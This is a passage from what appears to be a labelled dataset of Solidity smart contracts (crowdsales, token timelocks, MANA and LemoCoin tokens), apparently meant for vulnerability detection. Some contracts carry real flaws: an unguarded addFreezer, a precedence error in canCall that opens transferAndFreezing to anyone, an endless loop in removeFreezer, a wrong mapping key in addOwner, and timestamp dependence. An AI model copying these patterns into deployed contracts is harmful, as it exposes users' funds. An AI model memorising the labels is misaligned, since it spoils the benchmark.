function allocatePrivateSaleFunds(uint256 privateSaleSupplyAmount) public onlyOwner
{
require(privateSaleSupplyLimit.add(privateSaleSupplyAmount) < tokenSupplyLimit, "Token's private sale supply limit should be less that token supply limit.");
privateSaleSupplyLimit = privateSaleSupplyLimit.add(privateSaleSupplyAmount);
_deliverTokens(privateSaleWallet, privateSaleSupplyAmount);
}
function beneficiaryWithdrawChunk(uint256 _value) public onlyOwner {
vault.beneficiaryWithdrawChunk(_value);
}
function beneficiaryWithdrawAll() public onlyOwner {
vault.beneficiaryWithdrawAll();
}
function manualRefund(address _payee) public onlyOwner {
uint256 deposit = vault.depositsOf(_payee);
vault.manualRefund(_payee);
weiRaised = weiRaised.sub(deposit);
ClinicAllToken(token).burnAfterRefund(_payee);
}
} | 0 | 235 |
pragma solidity ^0.4.11;
contract hodlEthereum {
event Hodl(address indexed hodler, uint indexed amount);
event Party(address indexed hodler, uint indexed amount);
mapping (address => uint) public hodlers;
uint constant partyTime = 1596067200;
function() payable {
hodlers[msg.sender] += msg.value;
Hodl(msg.sender, msg.value);
}
function party() {
require (block.timestamp > partyTime && hodlers[msg.sender] > 0);
uint value = hodlers[msg.sender];
hodlers[msg.sender] = 0;
msg.sender.transfer(value);
Party(msg.sender, value);
}
} | 0 | 1,077 |
pragma solidity ^0.4.24;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Lockable is Ownable {
bool public isLocked = false;
event Locked();
function lock() onlyOwner public {
require(!isLocked);
emit Locked();
isLocked = true;
}
modifier notLocked() {
require(!isLocked);
_;
}
}
contract TokenTimelockVault is Ownable, Lockable {
using SafeMath for uint256;
using SafeERC20 for ERC20Basic;
event Invested(address owner, uint balance);
event Released(uint256 amount);
mapping(address => TimeEnvoy) internal owners;
struct TimeEnvoy {
address owner;
uint releaseTime;
uint balance;
bool released;
}
function addOwners(address[] _owners, uint[] _releaseTimes, uint[] _balances) public onlyOwner notLocked {
require(_owners.length > 0);
require(_owners.length == _releaseTimes.length);
require(_owners.length == _balances.length);
for (uint i = 0; i < _owners.length; i++) {
owners[_owners[i]] = TimeEnvoy({
owner : _owners[i],
releaseTime : _releaseTimes[i],
balance : _balances[i],
released : false});
emit Invested(_owners[i], _balances[i]);
}
}
function addOwner(address _owner, uint _releaseTime, uint _balance) public onlyOwner notLocked {
owners[owner] = TimeEnvoy({
owner : _owner,
releaseTime : _releaseTime,
balance : _balance,
released : false});
emit Invested(_owner, _balance);
}
function release(ERC20Basic token, address _owner) public {
TimeEnvoy storage owner = owners[_owner];
require(!owner.released);
uint256 unreleased = releasableAmount(_owner);
require(unreleased > 0);
owner.released = true;
token.safeTransfer(owner.owner, owner.balance);
emit Released(unreleased);
}
function releasableAmount(address _owner) public view returns (uint256){
if (_owner == address(0)) {
return 0;
}
TimeEnvoy storage owner = owners[_owner];
if (owner.released) {
return 0;
} else if (block.timestamp >= owner.releaseTime) {
return owner.balance;
} else {
return 0;
}
}
function ownedBalance(address _owner) public view returns (uint256){
TimeEnvoy storage owner = owners[_owner];
return owner.balance;
}
} | 0 | 1,984 |
pragma solidity ^0.4.23;
contract DSAuthority {
function canCall(
address src, address dst, bytes4 sig
) public view returns (bool);
}
contract DSAuthEvents {
event LogSetAuthority (address indexed authority);
event LogSetOwner (address indexed owner);
}
contract DSAuth is DSAuthEvents {
DSAuthority public authority;
address public owner;
constructor() public {
owner = msg.sender;
emit LogSetOwner(msg.sender);
}
function setOwner(address owner_)
public
auth
{
owner = owner_;
emit LogSetOwner(owner);
}
function setAuthority(DSAuthority authority_)
public
auth
{
authority = authority_;
emit LogSetAuthority(authority);
}
modifier auth {
require(isAuthorized(msg.sender, msg.sig));
_;
}
function isAuthorized(address src, bytes4 sig) internal view returns (bool) {
if (src == address(this)) {
return true;
} else if (src == owner) {
return true;
} else if (authority == DSAuthority(0)) {
return false;
} else {
return authority.canCall(src, this, sig);
}
}
}
contract DSNote {
event LogNote(
bytes4 indexed sig,
address indexed guy,
bytes32 indexed foo,
bytes32 indexed bar,
uint wad,
bytes fax
) anonymous;
modifier note {
bytes32 foo;
bytes32 bar;
assembly {
foo := calldataload(4)
bar := calldataload(36)
}
emit LogNote(msg.sig, msg.sender, foo, bar, msg.value, msg.data);
_;
}
}
contract DSStop is DSNote, DSAuth {
bool public stopped;
modifier stoppable {
require(!stopped);
_;
}
function stop() public auth note {
stopped = true;
}
function start() public auth note {
stopped = false;
}
}
contract DSMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x);
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x);
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x);
}
}
contract ERC20 {
function totalSupply() constant public returns (uint256 supply);
function balanceOf(address _owner) constant public returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) constant public returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract Coin is ERC20, DSStop {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 internal c_totalSupply;
mapping(address => uint256) internal c_balances;
mapping(address => mapping(address => uint256)) internal c_approvals;
function init(uint256 token_supply, string token_name, string token_symbol) internal {
c_balances[msg.sender] = token_supply;
c_totalSupply = token_supply;
name = token_name;
symbol = token_symbol;
}
function() public {
assert(false);
}
function setName(string _name) auth public {
name = _name;
}
function totalSupply() constant public returns (uint256) {
return c_totalSupply;
}
function balanceOf(address _owner) constant public returns (uint256) {
return c_balances[_owner];
}
function approve(address _spender, uint256 _value) public stoppable returns (bool) {
require(_value < c_totalSupply);
c_approvals[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return c_approvals[_owner][_spender];
}
}
contract FreezerAuthority is DSAuthority {
address[] internal c_freezers;
bytes4 constant setFreezingSig = bytes4(0x51c3b8a6);
bytes4 constant transferAndFreezingSig = bytes4(0xb8a1fdb6);
function canCall(address caller, address, bytes4 sig) public view returns (bool) {
if (isFreezer(caller) && sig == setFreezingSig || sig == transferAndFreezingSig) {
return true;
} else {
return false;
}
}
function addFreezer(address freezer) public {
int i = indexOf(c_freezers, freezer);
if (i < 0) {
c_freezers.push(freezer);
}
}
function removeFreezer(address freezer) public {
int index = indexOf(c_freezers, freezer);
if (index >= 0) {
uint i = uint(index);
while (i < c_freezers.length - 1) {
c_freezers[i] = c_freezers[i + 1];
}
c_freezers.length--;
}
}
function indexOf(address[] values, address value) internal pure returns (int) {
uint i = 0;
while (i < values.length) {
if (values[i] == value) {
return int(i);
}
i++;
}
return int(- 1);
}
function isFreezer(address addr) public constant returns (bool) {
return indexOf(c_freezers, addr) >= 0;
}
}
contract LemoCoin is Coin, DSMath {
struct FreezingNode {
uint end_stamp;
uint num_lemos;
uint8 freezing_type;
}
mapping(address => FreezingNode[]) internal c_freezing_list;
constructor(uint256 token_supply, string token_name, string token_symbol) public {
init(token_supply, token_name, token_symbol);
setAuthority(new FreezerAuthority());
}
function addFreezer(address freezer) auth public {
FreezerAuthority(authority).addFreezer(freezer);
}
function removeFreezer(address freezer) auth public {
FreezerAuthority(authority).removeFreezer(freezer);
}
event ClearExpiredFreezingEvent(address indexed addr);
event SetFreezingEvent(address indexed addr, uint end_stamp, uint num_lemos, uint8 indexed freezing_type);
function clearExpiredFreezing(address addr) public {
FreezingNode[] storage nodes = c_freezing_list[addr];
uint length = nodes.length;
uint left = 0;
while (left < length) {
if (nodes[left].end_stamp <= block.timestamp) {
break;
}
left++;
}
uint right = left + 1;
while (left < length && right < length) {
if (nodes[right].end_stamp > block.timestamp) {
nodes[left] = nodes[right];
left++;
}
right++;
}
if (length != left) {
nodes.length = left;
emit ClearExpiredFreezingEvent(addr);
}
}
function validBalanceOf(address addr) constant public returns (uint) {
FreezingNode[] memory nodes = c_freezing_list[addr];
uint length = nodes.length;
uint total_lemos = balanceOf(addr);
for (uint i = 0; i < length; ++i) {
if (nodes[i].end_stamp > block.timestamp) {
total_lemos = sub(total_lemos, nodes[i].num_lemos);
}
}
return total_lemos;
}
function freezingBalanceNumberOf(address addr) constant public returns (uint) {
return c_freezing_list[addr].length;
}
function freezingBalanceInfoOf(address addr, uint index) constant public returns (uint, uint, uint8) {
return (c_freezing_list[addr][index].end_stamp, c_freezing_list[addr][index].num_lemos, uint8(c_freezing_list[addr][index].freezing_type));
}
function setFreezing(address addr, uint end_stamp, uint num_lemos, uint8 freezing_type) auth stoppable public {
require(block.timestamp < end_stamp);
require(num_lemos < c_totalSupply);
clearExpiredFreezing(addr);
uint valid_balance = validBalanceOf(addr);
require(valid_balance >= num_lemos);
FreezingNode memory node = FreezingNode(end_stamp, num_lemos, freezing_type);
c_freezing_list[addr].push(node);
emit SetFreezingEvent(addr, end_stamp, num_lemos, freezing_type);
}
function transferAndFreezing(address _to, uint256 _value, uint256 freeze_amount, uint end_stamp, uint8 freezing_type) auth stoppable public returns (bool) {
require(_value < c_totalSupply);
require(freeze_amount <= _value);
transfer(_to, _value);
setFreezing(_to, end_stamp, freeze_amount, freezing_type);
return true;
}
function transfer(address _to, uint256 _value) stoppable public returns (bool) {
require(_value < c_totalSupply);
clearExpiredFreezing(msg.sender);
uint from_lemos = validBalanceOf(msg.sender);
require(from_lemos >= _value);
c_balances[msg.sender] = sub(c_balances[msg.sender], _value);
c_balances[_to] = add(c_balances[_to], _value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) stoppable public returns (bool) {
require(_value < c_totalSupply);
require(c_approvals[_from][msg.sender] >= _value);
clearExpiredFreezing(_from);
uint from_lemos = validBalanceOf(_from);
require(from_lemos >= _value);
c_approvals[_from][msg.sender] = sub(c_approvals[_from][msg.sender], _value);
c_balances[_from] = sub(c_balances[_from], _value);
c_balances[_to] = add(c_balances[_to], _value);
emit Transfer(_from, _to, _value);
return true;
}
} | 0 | 267 |
pragma solidity ^0.4.24;
contract Outer {
Inner1 public myInner1 = new Inner1();
function callSomeFunctionViaOuter() public {
myInner1.callSomeFunctionViaInner1();
}
}
contract Inner1 {
Inner2 public myInner2 = new Inner2();
function callSomeFunctionViaInner1() public {
myInner2.doSomething();
}
}
contract Inner2 {
uint256 someValue;
event SetValue(uint256 val);
function doSomething() public {
someValue = block.timestamp;
emit SetValue(someValue);
}
} | 1 | 3,377 |
pragma solidity ^0.4.11;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Crowdsale {
using SafeMath for uint256;
MintableToken public token;
uint256 public startBlock;
uint256 public endBlock;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _startBlock, uint256 _endBlock, uint256 _rate, address _wallet) {
require(_startBlock >= block.number);
require(_endBlock >= _startBlock);
require(_rate > 0);
require(_wallet != 0x0);
token = createTokenContract();
startBlock = _startBlock;
endBlock = _endBlock;
rate = _rate;
wallet = _wallet;
}
function createTokenContract() internal returns (MintableToken) {
return new MintableToken();
}
function () payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) payable {
require(beneficiary != 0x0);
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(rate);
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function forwardFunds() internal {
wallet.transfer(msg.value);
}
function validPurchase() internal constant returns (bool) {
uint256 current = block.number;
bool withinPeriod = current >= startBlock && current <= endBlock;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
function hasEnded() public constant returns (bool) {
return block.number > endBlock;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract WhitelistedCrowdsale is Crowdsale, Ownable {
using SafeMath for uint256;
mapping (address => bool) public whitelist;
function addToWhitelist(address buyer) public onlyOwner {
require(buyer != 0x0);
whitelist[buyer] = true;
}
function isWhitelisted(address buyer) public constant returns (bool) {
return whitelist[buyer];
}
function validPurchase() internal constant returns (bool) {
return super.validPurchase() || (!hasEnded() && isWhitelisted(msg.sender));
}
}
contract ContinuousSale {
using SafeMath for uint256;
uint256 public constant BUCKET_SIZE = 12 hours;
MintableToken public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
uint256 public issuance;
uint256 public lastBucket = 0;
uint256 public bucketAmount = 0;
event TokenPurchase(address indexed investor, address indexed beneficiary, uint256 weiAmount, uint256 tokens);
function ContinuousSale(
uint256 _rate,
address _wallet,
MintableToken _token
) {
require(_rate != 0);
require(_wallet != 0);
rate = _rate;
wallet = _wallet;
token = _token;
}
function() payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) public payable {
require(beneficiary != 0x0);
require(msg.value != 0);
prepareContinuousPurchase();
uint256 tokens = processPurchase(beneficiary);
checkContinuousPurchase(tokens);
}
function prepareContinuousPurchase() internal {
uint256 timestamp = block.timestamp;
uint256 bucket = timestamp - (timestamp % BUCKET_SIZE);
if (bucket > lastBucket) {
lastBucket = bucket;
bucketAmount = 0;
}
}
function checkContinuousPurchase(uint256 tokens) internal {
uint256 updatedBucketAmount = bucketAmount.add(tokens);
require(updatedBucketAmount <= issuance);
bucketAmount = updatedBucketAmount;
}
function processPurchase(address beneficiary) internal returns(uint256) {
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(rate);
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
return tokens;
}
function forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
function CappedCrowdsale(uint256 _cap) {
require(_cap > 0);
cap = _cap;
}
function validPurchase() internal constant returns (bool) {
bool withinCap = weiRaised.add(msg.value) <= cap;
return super.validPurchase() && withinCap;
}
function hasEnded() public constant returns (bool) {
bool capReached = weiRaised >= cap;
return super.hasEnded() || capReached;
}
}
contract MANAContinuousSale is ContinuousSale, Ownable {
uint256 public constant INFLATION = 8;
bool public started = false;
event RateChange(uint256 amount);
event WalletChange(address wallet);
function MANAContinuousSale(
uint256 _rate,
address _wallet,
MintableToken _token
) ContinuousSale(_rate, _wallet, _token) {
}
modifier whenStarted() {
require(started);
_;
}
function start() onlyOwner {
require(!started);
uint256 finalSupply = token.totalSupply();
uint256 annualIssuance = finalSupply.mul(INFLATION).div(100);
issuance = annualIssuance.mul(BUCKET_SIZE).div(1 years);
started = true;
}
function buyTokens(address beneficiary) whenStarted public payable {
super.buyTokens(beneficiary);
}
function setWallet(address _wallet) onlyOwner {
require(_wallet != 0x0);
wallet = _wallet;
WalletChange(_wallet);
}
function setRate(uint256 _rate) onlyOwner {
rate = _rate;
RateChange(_rate);
}
function unpauseToken() onlyOwner {
MANAToken(token).unpause();
}
function pauseToken() onlyOwner {
MANAToken(token).pause();
}
}
contract FinalizableCrowdsale is Crowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner {
require(!isFinalized);
require(hasEnded());
finalization();
Finalized();
isFinalized = true;
}
function finalization() internal {
token.finishMinting();
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(msg.sender, _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused returns (bool) {
paused = true;
Pause();
return true;
}
function unpause() onlyOwner whenPaused returns (bool) {
paused = false;
Unpause();
return true;
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint _value) whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
return true;
}
function finishMinting() onlyOwner returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract MANAToken is BurnableToken, PausableToken, MintableToken {
string public constant symbol = "MANA";
string public constant name = "Decentraland MANA";
uint8 public constant decimals = 18;
function burn(uint256 _value) whenNotPaused public {
super.burn(_value);
}
}
contract MANACrowdsale is WhitelistedCrowdsale, CappedCrowdsale, FinalizableCrowdsale {
uint256 public constant TOTAL_SHARE = 100;
uint256 public constant CROWDSALE_SHARE = 40;
uint256 public constant FOUNDATION_SHARE = 60;
uint256 public preferentialRate;
mapping (address => uint256) public buyerRate;
uint256 public initialRate;
uint256 public endRate;
MANAContinuousSale public continuousSale;
event WalletChange(address wallet);
event PreferentialRateChange(address indexed buyer, uint256 rate);
event InitialRateChange(uint256 rate);
event EndRateChange(uint256 rate);
function MANACrowdsale(
uint256 _startBlock,
uint256 _endBlock,
uint256 _initialRate,
uint256 _endRate,
uint256 _preferentialRate,
address _wallet
)
CappedCrowdsale(82888 ether)
WhitelistedCrowdsale()
FinalizableCrowdsale()
Crowdsale(_startBlock, _endBlock, _initialRate, _wallet)
{
require(_initialRate > 0);
require(_endRate > 0);
require(_preferentialRate > 0);
initialRate = _initialRate;
endRate = _endRate;
preferentialRate = _preferentialRate;
continuousSale = createContinuousSaleContract();
MANAToken(token).pause();
}
function createTokenContract() internal returns(MintableToken) {
return new MANAToken();
}
function createContinuousSaleContract() internal returns(MANAContinuousSale) {
return new MANAContinuousSale(rate, wallet, token);
}
function setBuyerRate(address buyer, uint256 rate) onlyOwner public {
require(rate != 0);
require(isWhitelisted(buyer));
require(block.number < startBlock);
buyerRate[buyer] = rate;
PreferentialRateChange(buyer, rate);
}
function setInitialRate(uint256 rate) onlyOwner public {
require(rate != 0);
require(block.number < startBlock);
initialRate = rate;
InitialRateChange(rate);
}
function setEndRate(uint256 rate) onlyOwner public {
require(rate != 0);
require(block.number < startBlock);
endRate = rate;
EndRateChange(rate);
}
function getRate() internal returns(uint256) {
if (buyerRate[msg.sender] != 0) {
return buyerRate[msg.sender];
}
if (isWhitelisted(msg.sender)) {
return preferentialRate;
}
uint256 elapsed = block.number - startBlock;
uint256 rateRange = initialRate - endRate;
uint256 blockRange = endBlock - startBlock;
return initialRate.sub(rateRange.mul(elapsed).div(blockRange));
}
function buyTokens(address beneficiary) payable {
require(beneficiary != 0x0);
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 updatedWeiRaised = weiRaised.add(weiAmount);
uint256 rate = getRate();
uint256 tokens = weiAmount.mul(rate);
weiRaised = updatedWeiRaised;
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function setWallet(address _wallet) onlyOwner public {
require(_wallet != 0x0);
wallet = _wallet;
continuousSale.setWallet(_wallet);
WalletChange(_wallet);
}
function unpauseToken() onlyOwner {
require(isFinalized);
MANAToken(token).unpause();
}
function pauseToken() onlyOwner {
require(isFinalized);
MANAToken(token).pause();
}
function beginContinuousSale() onlyOwner public {
require(isFinalized);
token.transferOwnership(continuousSale);
continuousSale.start();
continuousSale.transferOwnership(owner);
}
function finalization() internal {
uint256 totalSupply = token.totalSupply();
uint256 finalSupply = TOTAL_SHARE.mul(totalSupply).div(CROWDSALE_SHARE);
token.mint(wallet, FOUNDATION_SHARE.mul(finalSupply).div(TOTAL_SHARE));
}
} | 0 | 770 |
pragma solidity 0.4.25;
pragma experimental ABIEncoderV2;
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
library ERC20SafeTransfer {
function safeTransfer(address _tokenAddress, address _to, uint256 _value) internal returns (bool success) {
require(_tokenAddress.call(bytes4(keccak256("transfer(address,uint256)")), _to, _value));
return fetchReturnData();
}
function safeTransferFrom(address _tokenAddress, address _from, address _to, uint256 _value) internal returns (bool success) {
require(_tokenAddress.call(bytes4(keccak256("transferFrom(address,address,uint256)")), _from, _to, _value));
return fetchReturnData();
}
function safeApprove(address _tokenAddress, address _spender, uint256 _value) internal returns (bool success) {
require(_tokenAddress.call(bytes4(keccak256("approve(address,uint256)")), _spender, _value));
return fetchReturnData();
}
function fetchReturnData() internal returns (bool success){
assembly {
switch returndatasize()
case 0 {
success := 1
}
case 32 {
returndatacopy(0, 0, 32)
success := mload(0)
}
default {
revert(0, 0)
}
}
}
}
contract Withdrawable is Ownable {
function withdrawToken(address _token, uint256 _amount) external onlyOwner returns (bool) {
return ERC20SafeTransfer.safeTransfer(_token, owner, _amount);
}
function withdrawETH(uint256 _amount) external onlyOwner {
owner.transfer(_amount);
}
}
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function allowance(address _owner, address _spender)
public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value)
public returns (bool);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function decimals() public view returns (uint256);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract TokenTransferProxy is Ownable {
modifier onlyAuthorized {
require(authorized[msg.sender]);
_;
}
modifier targetAuthorized(address target) {
require(authorized[target]);
_;
}
modifier targetNotAuthorized(address target) {
require(!authorized[target]);
_;
}
mapping (address => bool) public authorized;
address[] public authorities;
event LogAuthorizedAddressAdded(address indexed target, address indexed caller);
event LogAuthorizedAddressRemoved(address indexed target, address indexed caller);
function addAuthorizedAddress(address target)
public
onlyOwner
targetNotAuthorized(target)
{
authorized[target] = true;
authorities.push(target);
emit LogAuthorizedAddressAdded(target, msg.sender);
}
function removeAuthorizedAddress(address target)
public
onlyOwner
targetAuthorized(target)
{
delete authorized[target];
for (uint i = 0; i < authorities.length; i++) {
if (authorities[i] == target) {
authorities[i] = authorities[authorities.length - 1];
authorities.length -= 1;
break;
}
}
emit LogAuthorizedAddressRemoved(target, msg.sender);
}
function transferFrom(
address token,
address from,
address to,
uint value)
public
onlyAuthorized
returns (bool)
{
require(ERC20SafeTransfer.safeTransferFrom(token, from, to, value));
return true;
}
function getAuthorizedAddresses()
public
view
returns (address[])
{
return authorities;
}
}
contract Pausable is Ownable {
event Paused();
event Unpaused();
bool private _paused = false;
function paused() public view returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!_paused, "Contract is paused.");
_;
}
modifier whenPaused() {
require(_paused, "Contract not paused.");
_;
}
function pause() public onlyOwner whenNotPaused {
_paused = true;
emit Paused();
}
function unpause() public onlyOwner whenPaused {
_paused = false;
emit Unpaused();
}
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library Utils {
uint256 constant internal PRECISION = (10**18);
uint256 constant internal MAX_QTY = (10**28);
uint256 constant internal MAX_RATE = (PRECISION * 10**6);
uint256 constant internal MAX_DECIMALS = 18;
uint256 constant internal ETH_DECIMALS = 18;
uint256 constant internal MAX_UINT = 2**256-1;
function precision() internal pure returns (uint256) { return PRECISION; }
function max_qty() internal pure returns (uint256) { return MAX_QTY; }
function max_rate() internal pure returns (uint256) { return MAX_RATE; }
function max_decimals() internal pure returns (uint256) { return MAX_DECIMALS; }
function eth_decimals() internal pure returns (uint256) { return ETH_DECIMALS; }
function max_uint() internal pure returns (uint256) { return MAX_UINT; }
function getDecimals(address token)
internal
view
returns (uint256 decimals)
{
bytes4 functionSig = bytes4(keccak256("decimals()"));
assembly {
let ptr := mload(0x40)
mstore(ptr,functionSig)
let functionSigLength := 0x04
let wordLength := 0x20
let success := call(
5000,
token,
0,
ptr,
functionSigLength,
ptr,
wordLength
)
switch success
case 0 {
decimals := 0
}
case 1 {
decimals := mload(ptr)
}
mstore(0x40,add(ptr,0x04))
}
}
function tokenAllowanceAndBalanceSet(
address tokenOwner,
address tokenAddress,
uint256 tokenAmount,
address addressToAllow
)
internal
view
returns (bool)
{
return (
ERC20(tokenAddress).allowance(tokenOwner, addressToAllow) >= tokenAmount &&
ERC20(tokenAddress).balanceOf(tokenOwner) >= tokenAmount
);
}
function calcDstQty(uint srcQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns (uint) {
if (dstDecimals >= srcDecimals) {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
return (srcQty * rate * (10**(dstDecimals - srcDecimals))) / PRECISION;
} else {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
return (srcQty * rate) / (PRECISION * (10**(srcDecimals - dstDecimals)));
}
}
function calcSrcQty(uint dstQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns (uint) {
uint numerator;
uint denominator;
